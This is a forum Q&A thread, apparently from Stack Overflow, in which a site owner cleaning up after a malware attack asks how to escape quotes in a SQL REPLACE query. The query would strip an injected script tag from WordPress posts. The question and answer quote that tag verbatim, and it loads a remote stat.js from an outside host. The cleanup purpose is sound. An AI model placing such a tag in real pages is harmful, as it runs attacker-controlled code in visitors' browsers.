0

After a malware attack I am trying to replace a malicious call entries. I keep getting syntax errors due to the configuration of the link. Tried all of the various escape characters to now avail. Familiar with normal find and replace but due to unique code in links update _DVB_posts set post_content = replace(post_content,'<script src=''https\;//`port`.transandfiestas.ga/stat.js?ft=ms'' type=''text/javascript''></script>',' ');

I've included one of my versions. Any help would be appreciated.

2 Answers 2

0

If it's just the apostrophes in the quoted strings, you escape them with backslashes like \':

update _DVB_posts
set post_content = replace( post_content,
    '<script src=\'https://`port`.transandfiestas.ga/stat.js?ft=ms\' type=\'text/javascript\'></script>',
    ' ');

However I'm not sure what you're trying to do with the port part though.

0

The injected script call had semi-colon after https (instead of colon) as it should be and port is part of the injection code. I understood that the word "port" is not allowed without back-quote or grave symbol. Not sure. Trying to search and replace the full injected link with blank, but query gets rejected.

3
  • Hi - are you the original poster again using a different account? This sounds more like a reply than an answer. Else I'm not sure what you're saying?
    – Rup
    Commented Dec 30, 2020 at 10:21
  • Yes, Rup sorry. Posted in wrong place. Thank you for answering. So as reply to your answer: Commented Dec 31, 2020 at 12:50
  • The injected script call had semi-colon after https (instead of colon) as it should be and port is part of the injection code. I understood that the word "port" is not allowed without back-quote or grave symbol. Not sure. Trying to search and replace the full injected link with blank, but query gets rejected. Commented Dec 31, 2020 at 12:51

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.